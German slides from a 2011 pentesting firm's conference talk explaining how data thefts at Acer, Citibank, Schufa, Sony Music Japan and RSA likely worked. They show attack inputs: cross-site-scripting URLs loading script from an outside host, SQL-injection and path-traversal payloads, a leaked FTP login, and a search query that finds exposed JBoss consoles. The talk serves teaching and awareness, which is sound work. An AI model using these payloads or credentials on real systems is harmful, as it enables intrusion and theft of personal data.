



“Eine Million Kundendaten gestohlen”
-
Aktuelle Fälle von Datendiebstahl
und wie sie grundsätzlich funktionieren

Patrick Hof - RedTeam Pentesting GmbH
patrick.hof@redteam-pentesting.de
<http://www.redteam-pentesting.de>

netzwerk recherche
01./02. Juli 2011, NDR Hamburg



Einleitung

Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

RedTeam Pentesting, Daten & Fakten
Über den Vortrag
Qualifikation

RedTeam Pentesting, Daten & Fakten

- ★ Gegründet 2004 in Aachen
- ★ Spezialisierung ausschließlich auf Penetrationstests
- ★ Weltweite Durchführung von Penetrationstests
- ★ Forschung im Bereich der IT-Sicherheit





Einleitung

Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

RedTeam Pentesting, Daten & Fakten
Über den Vortrag
Qualifikation

Über den Vortrag

Kein Tag ohne neue Nachrichten über Hacker und Datendiebstahl

21.06.2011

**Scotland Yard verhaftet mutmaßlichen
Hacktivist** UPDATE



Computerspiele-Hersteller
Hacker dringen in Sega-Netzwerk
ein

22.06.2011

**Gezielter Angriff auf Kunden von
K&M-Elektronik** UPDATE

MILLIONEN GESCHÄDIGTER NUTZER

Ermittler fassen Internet-
Betrügerbande

**Dropbox akzeptierte vier Stunden lang beliebige
Passwörter**

Nach Hacker-Angriffen
NSA und Provider wollen
Rüstungsfirmen schützen



Lulz Sec + Anonymous: Verbündete Hacker nehmen Banken aufs Korn



Über den Vortrag

- ★ Oft wird in den Medien aus Unwissenheit Ungenaues oder Falsches berichtet
- ★ Oder es werden gar keine Details genannt
- ★ Fragestellung: Wie funktioniert sowas eigentlich wirklich?
- ★ Ziel: Hintergrundwissen vermitteln, Angriffsszenarien verstehen lernen
- ★ Seien Sie interaktiv ⇒ Workshop



Unsere Qualifikation

Was qualifiziert RedTeam Pentesting, über dieses Thema zu reden?

- ★ Wir brechen jeden Tag im Auftrag unserer Kunden in deren Netzwerke und Applikationen ein
- ★ Wir benutzen dieselben Methoden, welche auch die „Bösen“ verwenden





Realitätsnahe Beispiele

- ★ Wir kennen auch nicht unbedingt mehr Details als die Medien
- ★ Aber: Wir wissen, wie Angriffe grundsätzlich funktionieren
- ★ Wir können im Zweifelsfall aus den wenigen Details schließen, wie es wahrscheinlich war
- ★ Die meisten Beispiele in diesem Vortrag zeigen, wie Angriffe generell funktioniert haben könnten



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

Menschliches Versehen
Spear-Phishing

Acer → Menschliches Versehen

The screenshot shows the Heise Security website interface. At the top left is the Heise Security logo. Below it is a navigation bar with tabs for 'News', 'Hintergrund', 'Erste Hilfe', 'Foren', and 'T'. The main content area shows a breadcrumb trail: 'Security > News > 7-Tage-News > 2011 > KW 23 > Acer gibt versehentlich 40.000 Kundendaten zum Download frei'. The article title is 'Acer gibt versehentlich 40.000 Kundendaten zum Download frei'. Below the title is a sub-header 'vorlesen / MP3-Download'. The main text of the article begins with: 'Die europäische Acer-Niederlassung soll auf ihrem FTP-Server versehentlich eine Datei mit den persönlichen Daten von rund 40.000 Kunden zum Download angeboten haben, wie The Hacker News berichtet. In dem 13 MByte großen ZIP-Archiv sollen sich diverse nach Ländern gegliederte Excel-Dateien befinden, die unter anderem Namen, Mailadressen und Telefonnummern enthalten. Auch Seriennummern und Modellbezeichnungen von Acer-Produkten befinden sich laut den veröffentlichten Auszügen in den Tabellen.'

<http://heise.de/-1255770>



Acer → Menschliches Versehen

FTP-Anmeldedaten wurden bereits 2008 veröffentlicht

The screenshot shows a forum post titled "Acer ASP- Hot Fix Release-version 1.6.1". The author is "kothai", a Forum Guru with 65 posts and 218 visits. The post, dated Friday, January 11, 2008, contains the following text:

We have fixed the below issue and released to the live as hotfix - Version 1.6.1.

Issue: Exception is occurring while moving the case from Awaiting spares to under repair.(Exception:Object reference not set to an instance of type System.Web.HttpResponse)

Solution: This issue has been fixed, and the ASPs can proceed accordingly.

If automatic updation has not taken place, please install manually. Reinstalling procedure is available in ASP Support forum - ><http://asp.12-1.asp>

For those ASP's who are having the proxy server issue, they can download the application from below ftp location and then install the application.

ftp://ftp.acer-euro.com/Acer_ASP_System/Acer_ASP_Application/

Username: navasp
Password: WDIuypea

The ASP Web version has also been renamed as 1.6.1

Thanks,
Acer ASP Support Team

<http://www.thehackernews.com/2011/06/thn-report-acer-hacked-because-of-their.html>



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

Menschliches Versehen
Spear-Phishing

GMail → Spear-Phishing

The Washington Post *with* Bloomberg
BUSINESS *Where Washington and Business Intersect*

Economy Industries Local Business Markets Policy & Regulation Technology

In the News Foreclosures Energy tax breaks Greece

 **Post Tech**
Deciphering the ones and zeros of tech policy with Cecilia Kang

About / Where's Post I.T.? | [Twitter](#) | [On Facebook](#) | [RSS Feed](#) | [E-Mail Cecilia](#)

MORE BUSINESS [POSTBUSINESS](#)
Your essential source for the latest news on the intersection of Wall Street and Washington.

LATEST TWEETS
[Follow here](#)

Posted at 05:27 PM ET, 06/01/2011
Google: Hundreds of Gmail accounts hacked, including some senior U.S. government officials
By [Cecilia Kang](#)
Google said Wednesday a hacker in China obtained access to hundreds of Gmail accounts, including those of senior U.S. government officials, military personnel, Chinese political activists and journalists.

http://www.washingtonpost.com/blogs/post-tech/post/2011/06/01/AGgASgGH_blog.html



GMail → Spear-Phishing

Fw:Draft US-China Joint Statement Inbox X

T

[show details](#) Jan 5

This is the latest version of State's joint statement. My understanding is that State put in placeholder econ language and am happy to have us fill in but in their rush to get a cleared version from the WH, they sent the attached to Mike.

Joint Statement - U S draft_KC edits.doc
51k [View](#) [Download](#)

<http://contagiodump.blogspot.com/2011/02/targeted-attacks-against-personal.html>



GMail → Spear-Phishing

View- und Download-Link geht auf gefälschte
GMail-Login-Webseite:

```
http://google-mail.dyndns.org/accounts/  
ServiceLoginservice=mail&passive=true  
&rm=false&continue=bsv=1grm8snv3  
&ss=1&sc=1&ltmpl=default&ltmplcache=2/  
ServiceLoginAuth.php  
?u=VictimGmailID
```



GMail → Spear-Phishing

View- und Download-Link geht auf gefälschte
GMail-Login-Webseite:

```
http://google-mail.dyndns.org/accounts/  
ServiceLoginservice=mail&passive=true  
&rm=false&continue=bsv=1grm8snv3  
&ss=1&scc=1&ltmpl=default&ltmplcache=2/  
ServiceLoginAuth.php  
?u=VictimGmailID
```



GMail → Spear-Phishing

View- und Download-Link geht auf gefälschte
GMail-Login-Webseite:

```
http://google-mail.dyndns.org/accounts/  
ServiceLoginservice=mail&passive=true  
&rm=false&continue=bsv=1grm8snv3  
&ss=1&sc=1&ltmpl=default&ltmplcache=2/  
ServiceLoginAuth.php  
?u=VictimGmailID
```



GMail → Spear-Phishing

View- und Download-Link geht auf gefälschte
GMail-Login-Webseite:

```
http://google-mail.dyndns.org/accounts/  
ServiceLoginservice=mail&passive=true  
&rm=false&continue=bsv=1grm8snv3  
&ss=1&sc=1&ltmpl=default&ltmplcache=2/  
ServiceLoginAuth.php  
?u=VictimGmailID
```

⇒ **Demo**



gefälschte GMail-Webseite

Gmail: Email from Google - Iceweasel

File Edit View History Bookmarks Tools Help

http://...de:8888/

Google

Gmail: Email from Google

Gmail by Google **Welcome to Gmail**

A Google approach to email.

Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

- Less spam**
Keep unwanted messages out of your inbox with Google's innovative technology.
- Mobile access**
Read Gmail on your mobile phone by pointing your phone's web browser to <http://gmail.com/app>. [Learn more](#)
- Lots of space**
Over 7598.279373 megabytes (and counting) of free storage.

Sign in to Gmail with your **Google Account**

Username:

Password:

Stay signed in

[Can't access your account?](#)

New to Gmail? It's free and easy.

[About Gmail](#) [New features!](#)

©2010 Google - [Gmail for Business](#) - [Gmail Blog](#) - [Terms](#) - [Help](#)



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Citibank → URL-Manipulation



News Hintergrund Erste Hilfe Foren T

Security > News > 7-Tage-News > 2011 > KW 24 > Datenklau bei der Citibank gelang durch simple URL-Manipulation

News-Meldung vom 15.06.2011 12:50

« Vorige | Nächste »

Datenklau bei der Citibank gelang durch simple URL-Manipulation UPDATE

kl vorlesen / MP3-Download

Bei dem Diebstahl von rund 200.000 Kundendaten der Citibank mussten die Kriminellen nicht tief in die Trickkiste greifen, wie ein Sicherheitsexperte gegenüber der New York Times bekannt gegeben hat. Demnach gelang der unberechtigte Zugriff, den die US-Bank bei einer Routinekontrolle Anfang März entdeckt hat, durch das simple Manipulieren eines URL-Parameters. Hierzu mussten sich die Kriminellen zunächst mit einem gültigen Account in den Kundenbereich für Kreditkartenkunden einloggen. Anschließend konnten sie einfach eine Nummer in der Webseitenadresse hochzählen, um an die Daten der anderen Kunden zu gelangen – dies taten sie mit Hilfe eines Skripts mehrere zehntausend Mal.

<http://heise.de/-1260559>



News Hintergrund Erste Hilfe Foren T

Security > News > 7-Tage-News > 2011 > KW 25 > Datendiebe erbeuten 2,7 Millionen US-Dollar von Citibank-Kunden

News-Meldung vom 26.06.2011 17:14

« Vorige | Nächste »

Datendiebe erbeuten 2,7 Millionen US-Dollar von Citibank-Kunden

kl vorlesen / MP3-Download

Nachdem unbekannte Hacker am 10. Mai 360.083 Kundendaten von den US-Servern der Citibank mittels eines simplen URL-Tricks erbeutet hatten, haben die Einbrecher nun damit begonnen, die Konten der Betroffenen zu plündern. Wie das Wall Street Journal meldet, seien inzwischen 3.400 Konten um insgesamt 2,7 Millionen US-Dollar erleichtert worden.

<http://heise.de/-1268108>



Citibank → URL-Manipulation

So oder ähnlich kann es funktioniert haben:

- 1 Anmelden als normaler Citibank-Kunde
- 2 `https://online.citibank.com?account=123456`
- 3 `https://online.citibank.com?account=123457`
- 4 Automatisiert hochzählen und Rückgabe auswerten ⇒ fertig



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Schufa → Local-File-Inclusion



  [Home](#) [HoS](#) [Über mich](#) [Impressum](#)

[Startseite](#) - [Kommentare ansehen](#)

SCHUFA Webseite - gravierende Sicherheitslücke bietet beliebige Dateien zum Download an

am 10.06.2011 | [Kommentare \(9\)](#)

SCHUFA "Wir schaffen vertrauen"

Bei der Suche nach einem Antragsformular auf der Webseite der SCHUFA unter meineschufa.de fiel mir ein Link ins Auge, der das klassische Muster einer local file inclusion Schwachstelle aufweist. Um dies zu testen ohne mit dem Gesetz in Konflikt zu treten, habe ich lediglich versucht, die Download-Datei selbst herunter zu laden. Die entsprechende Downloaddatei bietet darauf hin die über den "file" Parameter angeforderte Datei als Binary mit dem Namen der Downloaddatei zum Herunterladen an.

<http://www.secalert.net/post.php?id=15>



Schufa → Local-File-Inclusion

So oder ähnlich kann es funktioniert haben:

```
https://www.meineschufa.de/download.php  
?file=SCHUFA_Broschuere-Produktueberblick.pdf
```

```
https://www.meineschufa.de/download.php  
?file=../../download.php
```



Schufa → Local-File-Inclusion

So oder ähnlich kann es funktioniert haben:

```
https://www.meineschufa.de/download.php  
?file=SCHUFA_Broschuere-Produktueberblick.pdf
```

```
https://www.meineschufa.de/download.php  
?file=../../download.php
```

⇒ **Demo**



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Beispiel-LFI Damn Vulnerable Web App

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Inclusion - Iceweasel

File Edit View History Bookmarks Tools Help

http://10.0.2.2:8080/vulnerabilities/fi/?page=../../../../../../../../etc/passwd

Gmail: Email from G... Damn Vulnerable W...

Damn Vulnerable Web App (DVWA) +

```
root:x0:0:root:/bin:/bin:/bin:daemon:x1:1:daemon:/usr/sbin:/bin/sh bin:x2:2:bin:/bin:/bin/sh sys:x3:3:sys:/dev:/bin/sh sync:x4:65534:sync:/bin:/bin/sync games:x5:60:games:/bin/sh man:x6:12:man:/var/cache/man:/bin/sh lp:x7:7:lp:/var/spool/lpd:/bin/sh mail:x8:8:mail:/var/mail:/bin/sh news:x9:9:news:/var/spool/news:/bin/sh uucp:x10:10:uucp:/var/spool/uucp:/bin/sh proxy:x13:13:proxy:/bin:/bin/sh www-data:x33:33:www-data:/var/www:/bin/sh backup:x34:34:backup:/var/backups:/bin/sh list:x38:38:mailing-list-manager:/var/lib/ntp:/bin/sh irc:x39:39:ircd:/var/run/ircd:/bin/sh gnats:x41:41:Gnats Bug Reporting System (admin)/var/lib/gnats:/bin/sh nobody:x65534:65534:nobody:/nonexistent:/bin/sh libuid:x100:101:var/lib/libuid:/bin/sh syslog:x101:103:/home/syslog:/bin/false dwax:x1000:1000:/home/dwax:/bin/false sshd:x102:65534:/var/run/sshd:/usr/sbin/nologin messagebus:x103:110:/var/run/dbus:/bin/false usbmux:x104:46:usbmux/daemon,.../home/usbmux:/bin/false pulse:x105:111:PulseAudio/daemon,.../var/run/pulse:/bin/false rkit:x106:113:RealtimeKit,.../proc:/bin/false
```

DVWA

- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion**
- SQL Injection

Done



Cross-Site-Scripting

Netcraft Managed Hosting - Web-Hosting - Hosting

What's that site running?
netcraft.com

Subscribe to our PSS feed
Get News updates by email
Follow Us on Twitter

Netcraft Services

Phishing & Security

- Anti-Phishing Toolbar
- Phishing Site Feed
- Hosting Phishing Alerts
- Bank Fraud Detection
- Phishing Site Countermeasures
- Audited by Netcraft
- Open Phidirect Detection
- Web Application Security Testing
- Web Application Security Course

Internet Data Mining

- Hosting Provider Analysis
- Million Busiest Websites
- Busiest Sites Switching Analysis
- Hosting Provider Switching Analysis
- Hosting Provider Server Count
- Hosting Reseller Survey
- SSL Survey

Internet Exploration

- What's that site running?
- SearchDHS
- Sites on the Move

Italian Bank's XSS Opportunity Seized by Fraudsters

An extremely convincing phishing attack is using a cross-site scripting vulnerability on an Italian Bank's own website to attempt to steal customers' bank account details. Fraudsters are currently sending phishing mails which use a specially-crafted URL to inject a modified login form onto the bank's login page.

The vulnerable page is served over SSL with a bona fide SSL certificate issued to Banca Fideuram S.p.A. in Italy. Nonetheless, the fraudsters have been able to inject an IFRAME onto the login page which loads a modified login form from a web server hosted in Taiwan.

HTTPS URL

<https://www.fideuramonline.it/script/LoginServ>

FORM INJECTED BY FRAUDSTER

The fraudsters' login form presented inside the bank's SSL page.

http://news.netcraft.com/archives/2008/01/08/italian_banks_xss_opportunity_seized_by_fraudsters.html



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

⇒ **Demo:** netzwerk recherche-Webseite



netzwerk recherche → Cross-Site-Scripting

Original-URL mit Suche nach dem Wort **test**

```
http://www.netzwerkrecherche.de/index.php  
?article_id=209  
&clang=0  
&rexsearch=test  
&submit=OK
```




netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting erste Test-URL

```
http://www.netzwerkrecherche.de/index.php  
?article_id=209  
&clang=0  
&rexsearch="><script>  
    alert(/RedTeam Pentesting/)  
</script><span id="  
&submit=OK
```



netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting-URL

```
http://www.netzwerkrecherche.de/index.php
?article_id=209
&clang=0
&rexsearch="><script
  src=http://d-foto.redteam-pentesting.de:8888
  /xss/js/rt.js>
  </script><span id="
&submit=OK
```



netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting-URL kodiert

```
http://www.netzwerkrecherche.de/index.php
?article_id=209
&clang=0
&rexsearch=%22%3E%3Cscript
+src%3Dhttp%3A%2F%2Fd-foto.redteam-pentesting.de%3A8888
%2F%xss%2Fjs%2Frt.js%3E
%3C%2Fscript%3E%3Cspan+id%3D%22
&submit=OK
```



netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting-URL verkürzt mit URL-Shortener

<http://bit.ly/1MtbE7>



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

netzwerk recherche e.V.
Recherche fördern und fördern

Termine »
Projekte »
Konferenzen »
Publikationen »
Presse »
Stipendien »
Trainer »
Newsletter »
Verein »
Literatur »
Links »
Service »
Spenden »
English »
nr-Positionen »
Reden »
Downloads »

Startseite

RedTeam Pentesting GmbH übernimmt Vorsitz bei netzwerk recherche

In einer überraschenden Auftaktveranstaltung der netzwerk recherche-Jahreskonferenz 2011 übergab Prof. Dr. Thomas Leif den Vorsitz des NWR an die RedTeam Pentesting GmbH. „Wir glauben, hiermit einen wichtigen Schritt in Richtung unserer Neufokussierung auf das Thema IT-Sicherheit getan zu haben“, sagte Leif vor den versammelten Teilnehmern.

Mehr Infos zum Thema IT-Sicherheit gibt es auf den [Webseiten von RedTeam Pentesting](#).

[nr-Jahreskonferenz 2011](#)
12. Juli, Hamburg

Jetzt anmelden

Es geht vor ein glücklicher Mensch. NDR

Zur Konferenz-Webseite

[nr-Termine für Ihren Kalender](#)

Muckraker

Lesen Sie [hier](#) in nr-Online-Magazin.

<http://www.netzwerk-recherche.de>



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Sony Music Japan → SQL-Injection

The screenshot shows the top of a web browser displaying the Sophos Naked Security website. The navigation bar includes 'SOPHOS' and links for 'Products', 'Solutions', 'Support', 'Security', and 'Partners'. The main header features the 'nakedsecurity' logo with the tagline 'IT Security Blog of the Year' and 'News. Opinion. Advice. Research'. A search bar and social media icons (Twitter, Facebook, YouTube, LinkedIn) are also visible. The article title is 'Sony Music Japan hacked through SQL injection flaw', dated May 24, 2011, by Chester Wisniewski. The article text describes a SQL injection attack on Sony Music Japan that exposed user information. A sidebar on the right contains a 'Popular' section with a link to 'CIA website brought down by DDoS attack, LulzSec hackers claim responsibility' and a 'Recent' section with a link to 'LulzSec? Hackers? Here's a real challenge...'. A small image of the Sony Music logo is also present in the article content area.

<http://nakedsecurity.sophos.com/2011/05/24/sony-music-japan-hacked-through-sql-injection-flaw/>



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Sony Music Japan → SQL-Injection



<http://twitter.com/LulzSec/status/72824915849523201>



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection


Sony Music Japan → SQL-Injection

PASTEBIN | #1 PASTE TOOL SINCE 2002

CREATE NEW PASTE | TOOLS | API | ARCHIVE | FAQ | DOM

PASTEBIN search

CREATE NEW PASTE TRENDING PASTES SIGN UP LOGIN

 **LulzSec hates Sony too**
BY: A GUEST | MAY 23RD, 2011 | SYNTAX: NONE | SIZE: 3.50 KB | VIEWS: 15,854 | EXPIRES: NEVER
[COPY TO CLIPBOARD](#) | [DOWNLOAD](#) | [RAW](#) | [EMBED](#) | [REPORT ABUSE](#) Like

```
1. @LulzSec was here you sexy bastards!  
2.  
3. This isn't a 1337 h4x0r, we just want to embarrass Sony some more. Can this be hack number 8? 7 and a  
   half?!  
4.  
5. Stupid Sony, so very stupid:  
6.  
7. SQLi #1: http://www.sonymusic.co.jp/bv/cro-magnons/track.php?iten=7419  
8. SQLi #2: http://www.sonymusic.co.jp/bv/kadomatsu/iten.php?id=3061ten=4490  
9.  
10. (two other databases hosted on this boxxy box, go for them if you want)  
11.  
12. example of the tasty but not very exciting innards:  
13. table || columns  
14.  
15. tour_image || cuser ctime image_file image tour_id  
16. tour || cuser ctime visible until_dt from_dt disorder comment title artist_id tour_id
```

<http://pastebin.com/NyEFLbyX>



Sony Music Japan → SQL-Injection

So oder ähnlich kann es funktioniert haben:

Normaler Aufruf:

```
http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419
```

```
SELECT name FROM items WHERE id='7419'
```



Sony Music Japan → SQL-Injection

So oder ähnlich kann es funktioniert haben:

Normaler Aufruf:

```
http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419
```

```
SELECT name FROM items WHERE id='7419'
```

SQL-Injection, welche die Datenbankversion ausliest:

```
http://www.sonymusic.co.jp/bv/cro-magnons/track.php  
?item=7419'+UNION+SELECT+@@version;--+
```

```
SELECT name FROM items WHERE id='7419' UNION SELECT  
@@version;-- '
```



Sony Music Japan → SQL-Injection

So oder ähnlich kann es funktioniert haben:

Normaler Aufruf:

```
http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419
```

```
SELECT name FROM items WHERE id='7419'
```

SQL-Injection, welche die Datenbankversion ausliest:

```
http://www.sonymusic.co.jp/bv/cro-magnons/track.php  
?item=7419'+UNION+SELECT+@@version;--+
```

```
SELECT name FROM items WHERE id='7419' UNION SELECT  
@@version;-- '
```

⇒ **Demo mit komplexeren Beispielen**



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Beispiel-SQL-Injection Damn Vulnerable Web App

Browser: Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - keweasel

Address Bar: http://10.0.2.2:8080/vulnerabilities/sql/?id=a'+UNION+SELECT+GROUP_CONCAT(table_name+SEPAR...

Page Title: Vulnerability: SQL Injection

User ID:

```
ID: a' UNION SELECT GROUP_CONCAT(table_name SEPARATOR '\n'),1 FROM INFORMATION_SCHEMA.TABLES;--  
First name: CHARACTER_SETS  
COLLATIONS  
COLLATION_CHARACTER_SET_APPLICABILITY  
COLUMNS  
COLUMN_PRIVILEGES  
ENGINES  
EVENTS  
FILES  
GLOBAL_STATUS  
GLOBAL_VARIABLES  
KEY_COLUMN_USAGE  
PARTITIONS  
PLUGINS  
PROCESSLIST  
PROFILING  
REFERENTIAL_CONSTRAINTS  
ROUTINES  
SCHEMATA  
SCHEMA_PRIVILEGES  
SESSION_STATUS  
SESSION_VARIABLES  
STATISTICS  
TABLES  
TABLE_CONSTRAINTS  
TABLE_PRIVILEG  
Surname: 1
```



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

Flashplayer-Sicherheitslücke
„Vergessene“ Administrationschnittstellen

RSA → Malware über Flashplayer-Sicherheitslücke



News

Hintergrund

Erste Hilfe

Foren

Te

Security > News > 7-Tage-News > 2011 > KW 14 > Einbruch bei RSA: Der Flash Player war schuld

News-Meldung vom 04.04.2011 13:08

« Vorige | Nächste »

Einbruch bei RSA: Der Flash Player war schuld

🔊 vorlesen / MP3-Download

RSA hat in seinem Firmen-Blog Details zu dem vor rund zwei Wochen bekannt gewordenen [Einbruch](#) in seine Server [veröffentlicht](#). Laut Uri Rivner, Leiter der Sparte "Consumer Identity Protection" gelang der Einbruch über eine Backdoor, die über infizierte Mails installiert wurde. Die Mails enthielten im Anhang eine Excel-Tabelle, in der wiederum eine präparierte Flash-Datei eingebettet war. Beim Öffnen der Tabelle startete der Flash Player zum Abspielen des Flash-Applets. Durch einen mittlerweile von Adobe [beseitigten](#) Fehler war es möglich, Code in das System einzuschleusen und zu starten. F-Secure hat den Ablauf eines Angriffs [beschrieben](#), bei dem der gleiche Exploit verwendet wurde.

<http://heise.de/-1220792>



RSA → Malware über Flashplayer-Sicherheitslücke

- ★ RSA SecurID Tokens
- ★ Generieren alle x Sekunden einen neuen Code
- ★ Synchronisiert mit Authentication Server

⇒ Angreifer muss wissen, was aktuell auf dem Display steht



SecurID SID800 Token



RSA → Malware über Flashplayer-Sicherheitslücke

Ablauf des Angriffs

- ★ Angreifer senden Phishing-Mail an ausgewählte Mitarbeiter
 - ★ Anhang enthält Datei „2011 Recruitment plan.xls“
 - ★ Excel-Datei bettet Flash-Datei mit Exploit ein
 - ★ Dieser nutzt bisher unbekannte (0day) Sicherheitslücke im Flash Player aus, um Fernsteuerungssoftware zu installieren
 - ★ Angreifer nutzen im internen Netzwerk weitere Schwachstellen aus, um an Seeds und Algorithmen für die Tokens zu gelangen
- ⇒ Codes können von den Angreifern ohne Token berechnet werden



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

Flashplayer-Sicherheitslücke
„Vergessene“ Administrationschnittstellen

ca. zwei Monate später → Einbruch bei Lockheed Martin

REUTERS EDITION U.S. News & Markets Sectors & Industries Analysis & Opinion Search News & Quotes SEARCH

ARTICLE COMMENTS (14)

Follow Reuters

Facebook Twitter RSS YouTube

MOST POPULAR

READ

- WRAPUP 5 Democrats push for jobs package in debt deal 22 Jun 2011
- Women can't keep breast implants for life: FDA 22 Jun 2011
- Accused Boston crime boss "Whitey" Bulger arrested 9:48AM EDT
- Obama moves toward exit from Afghanistan: VIDEO 22 Jun 2011
- China's railway boom hurtles into the red 8:05AM EDT

DISCUSSED

- 122 COMMENTS CBO sees government benefits swamping U.S. economy
- 48 Weiner tells friends he will resign 11V Times

Exclusive: Hackers breached U.S. defense contractors

Recommend 2047 recommendations. Sign Up to see what your friends recommend.



Related News

- Pentagon F-35 review postponed until mid-June Fri, May 27 2011
- Lockheed network hit by major disruption: sources Fri, May 27 2011
- UPDATE 1 Lockheed network suffers major disruption - sources Thu, May 26 2011
- Lockheed network suffers major disruption - sources Thu, May 26 2011

By **Jim Finkle** and **Andrea Shalal-Esa**
BOSTON/WASHINGTON | Fri May 27, 2011 7:53pm EDT

(Reuters) - Unknown hackers have broken into the security networks of Lockheed Martin Corp (LMT.N) and several other U.S. military contractors, a source with direct knowledge of the attacks told Reuters.

<http://www.reuters.com/article/2011/05/27/us-usa-defense-hackers-idUSTRE74Q6VY20110527>



„Vergessene“ Administrationschnittstellen

- ★ Vom Internet zugreifbare Adminstrationsschnittstellen
- ★ Vielfach trivial auffindbar über Suchmaschinen
- ★ Da „vergessen“: oft Standardlogins (z.B. admin/admin)
- ★ Beispiel: JBoss Application Server JMX-Console





„Vergessene“ Administrationschnittstellen

- ★ Vom Internet zugreifbare Adminstrationsschnittstellen
- ★ Vielfach trivial auffindbar über Suchmaschinen
- ★ Da „vergessen“: oft Standardlogins (z.B. admin/admin)
- ★ Beispiel: JBoss Application Server JMX-Console



⇒ Demo



Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

Flashplayer-Sicherheitslücke
„Vergessene“ Administrationschnittstellen

„Vergessene“ Administrationschnittstellen

The screenshot shows a Google search interface. The search bar contains the text "JMX Agent View" inurl:jmx-console. Below the search bar, there are navigation links for "Alles", "Bilder", "Videos", "News", "Shopping", "Bücher", "Places", "Blogs", "Echtzeit", and "Diskussionen". The search results list several entries, each with a title, a URL, and a brief description. The first result is "JBoss JMX Management Console - myintranet.xplace.de (0.0.0.0)". The second result is "JMX Agent View - WEBSUCURSAL-WEB (0.0.0.0)". The third result is "JBoss JMX Management Console - apn-wup-01 (0.0.0.0)". The fourth result is "JMX Agent View - BALNEVSUR". The fifth result is "JBoss JMX Management Console - nl-jboss1 (0.0.0.0)". The sixth result is "JMX Agent View - shinobun.intra.oriented.ch (0.0.0.0)". The seventh result is "JBoss JMX Management Console". The eighth result is "JMX Agent View uns".

<http://www.google.de/search?q=%22JMX+Agent+View%22+inurl%3Ajmx-console>



Einleitung
Sicherheitslücke Mensch
Webapplikationen
Schlecht gewartete Software
Fazit

Flashplayer-Sicherheitslücke
„Vergessene“ Administrationsschnittstellen

„Vergessene“ Administrationsschnittstellen

The screenshot shows a web browser window with the URL `http://www.de/jmx-console/`. The page title is "JBoss JMX Agent View" and the address is "my.intranet.de (0.0.0.0) - default". Below the title is an "ObjectName Filter" input field with the placeholder text "(e.g. 'jboss:', '*:service=invoker:')" and an "ApplyFilter" button. The main content area lists several MBean categories with their respective services:

- Catalina**
 - [type=Server](#)
 - [type=StringCache](#)
- JMImplementation**
 - [name=Default,service=LoaderRepository](#)
 - [type=MBeanRegistry](#)
 - [type=MBeanServerDelegate](#)
- com.arjuna.ats.properties**
 - [module=arjuna](#)
 - [module=jta](#)
 - [module=txoj](#)
- de.frontend**
 - [service=EanGeneratorService](#)
 - [service=StatisticsService](#)
- de.streaming.servlet**
 - [service=MediaStreamingServlet](#)



Fazit

- ★ Datendiebstahl / „Hacking“ ist oft einfacher als man denkt
- ★ Sicherheitslücken ergeben sich vielfach aus menschlichen Fehlern
- ★ Nur weil die gestohlenen Daten aktuell noch nicht missbraucht wurden, heißt dies nicht, dass es nicht in Zukunft geschieht
- ★ Es gibt noch viel zu tun in der IT-Sicherheit



Fragen?

Vielen Dank für Ihre
Aufmerksamkeit
—
Freie Diskussion